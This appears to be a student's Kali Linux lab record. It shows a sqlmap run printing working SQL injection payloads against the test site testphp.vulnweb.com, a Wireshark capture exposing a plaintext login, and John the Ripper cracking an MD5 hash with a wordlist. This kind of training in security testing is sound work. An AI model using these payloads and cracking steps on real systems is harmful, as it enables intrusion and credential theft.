

# Kali Linux-Hands-on

```
File Actions Edit View Help
[(kali㉿kali)-[~/futureintern_task1]]
$ cd sqlmap

[(kali㉿kali)-[~/futureintern_task1/sqlmap]]
$ python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch --banner
H
{1.9.7.7#dev}
https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Responsible for any misuse or damage caused by this program

[*] starting @ 10:51:47 /2025-07-17/

[10:51:47] [INFO] resuming back-end DBMS 'mysql'
[10:51:48] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: artist (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: artist=1 AND 7714=7714

Type: error-based
Title: MySQL ≥ 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: artist=1 AND GTID_SUBSET(CONCAT(0x7176716b71,(SELECT (ELT(4680=4680,1))),0x71716b7871),4680)

Type: time-based blind
Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
Payload: artist=1 AND (SELECT 8756 FROM (SELECT(SLEEP(5)))Prmp)

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: artist=-5544 UNION ALL SELECT NULL,NULL,CONCAT(0x7176716b71,0x794e4f4175786e797077634a6d4965694e6a4d4e4669716871487462556d62656f5a794745776e4a,0x71716b7871)--

[10:51:49] [INFO] the back-end DBMS is MySQL
[10:51:49] [INFO] fetching banner
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL ≥ 5.6
banner: '8.0.22-Ubuntu0.20.04.2'
[10:51:51] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 10:51:51 /2025-07-17/
```

# Snipping Attack using Wireshark

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Capturing from eth0

http.request.method == "POST"

No.	Time	Source	Destination	Protocol	Length	Info
59	259.645096953	10.0.2.15	142.251.42.3	OCSP	488	Request
66	259.719044122	10.0.2.15	142.251.42.3	OCSP	488	Request
260	263.044828076	10.0.2.15	142.251.42.3	OCSP	481	Request
985	289.271316743	10.0.2.15	23.58.31.18	OCSP	485	Request
987	289.272407973	10.0.2.15	23.58.31.18	OCSP	485	Request
994	289.287659125	10.0.2.15	23.58.31.18	OCSP	485	Request
998	289.290338128	10.0.2.15	23.58.31.18	OCSP	485	Request
1557	624.657538443	10.0.2.15	44.228.249.3	HTTP	583	POST /userinfo.php HTTP/1.1 (application/x-www-form-urlencoded)
1695	993.641155193	10.0.2.15	44.228.249.3	HTTP	583	POST /userinfo.php HTTP/1.1 (application/x-www-form-urlencoded)

Frame 1695: 583 bytes on wire (4664 bits), 583 bytes captured (4664 bits) on interface eth0, id 0  
Ethernet II, Src: PCSSystemtec\_d1:f8:5d (08:00:27:d1:f8:5d), Dst: 52:55:0a:00:02:02 (52:55:0a:00:02:02)  
Internet Protocol Version 4, Src: 10.0.2.15, Dst: 44.228.249.3  
Transmission Control Protocol, Src Port: 47930, Dst Port: 80, Seq: 349, Ack: 2749, Len: 529  
Hypertext Transfer Protocol  
HTML Form URL Encoded: application/x-www-form-urlencoded

Hex	Dec	Text
0100	2a 2f 2a 3b 71 3d 30 2e 38 0d 0a 41 63 63 65 70	/*;q=0. 8··Accep
0110	74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 2d 55	t-Langua ge: en-U
0120	53 2c 65 6e 3b 71 3d 30 2e 35 0d 0a 41 63 63 65	S,en;q=0 .5··Acce
0130	70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69	pt-Encod ing: gzi
0140	70 2c 20 64 65 66 6c 61 74 65 0d 0a 43 6f 6e 74	p, defla te··Cont
0150	65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63	ent-Type : applic
0160	61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d	ation/x- www-form
0170	2d 75 72 6c 65 6e 63 6f 64 65 64 0d 0a 43 6f 6e	-urlenco ded··Con
0180	74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 35 0d	tent-Len gth: 25·
0190	0a 4f 72 69 67 69 6e 3a 20 68 74 74 70 3a 2f 2f	·Origin: http://
01a0	74 65 73 74 70 68 70 2e 76 75 6c 6e 77 65 62 2e	testphp. vulnweb.
01b0	63 6f 6d 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a	com··Con nection:
01c0	20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 52 65 66	keep-alive··Ref
01d0	65 72 65 72 3a 20 68 74 74 70 3a 2f 2f 74 65 73	erer: ht tp://tes
01e0	74 70 68 70 2e 76 75 6c 6e 77 65 62 2e 63 6f 6d	tphp.vul nweb.com
01f0	2f 6c 6f 67 69 6e 2e 70 68 70 0d 0a 55 70 67 72	/login.p hp··Upgr
0200	61 64 65 2d 49 6e 73 65 63 75 72 65 2d 52 65 71	ade-Inse cure-Req
0210	75 65 73 74 73 3a 20 31 0d 0a 50 72 69 6f 72 69	uests: 1 ··Priori
0220	74 79 3a 20 75 3d 30 2c 20 69 0d 0a 0d 0a 75 6e	ty: u=0, i··un
0230	61 6d 65 3d 61 64 6d 69 6e 26 70 61 73 73 3d 61	ame=admin&pass=a
0240	64 6d 69 6e 31 32 33	dmin123

Hypertext Transfer Protocol (http), 504 bytes

Packets: 1744 · Displayed: 9 (0.5%)

# Password cracking

kali@kali:~

File Actions Edit View Help

```
(kali㉿kali)-[~]
$ echo -n "password123" | md5sum
482c811da5d5b4bc6d497ffa98491e38 - 

(kali㉿kali)-[~]
$ echo "482c811da5d5b4bc6d497ffa98491e38" > hash.txt

(kali㉿kali)-[~]
$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (?)
1g 0:00:00:00 DONE (2025-07-26 04:52) 33.33g/s 51200p/s 51200c/s 51200C/s 753951..mexico1
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

(kali㉿kali)-[~]
$ john --show hash.txt
0 password hashes cracked, 2 left

(kali㉿kali)-[~]
$ john --show --format=raw-md5 hash.txt
?:password123

1 password hash cracked, 0 left

(kali㉿kali)-[~]
$ echo "user1:482c811da5d5b4bc6d497ffa98491e38" > hash.txt

(kali㉿kali)-[~]
$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show --format=raw-md5 hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
No password hashes left to crack (see FAQ)
user1:password123

1 password hash cracked, 0 left
```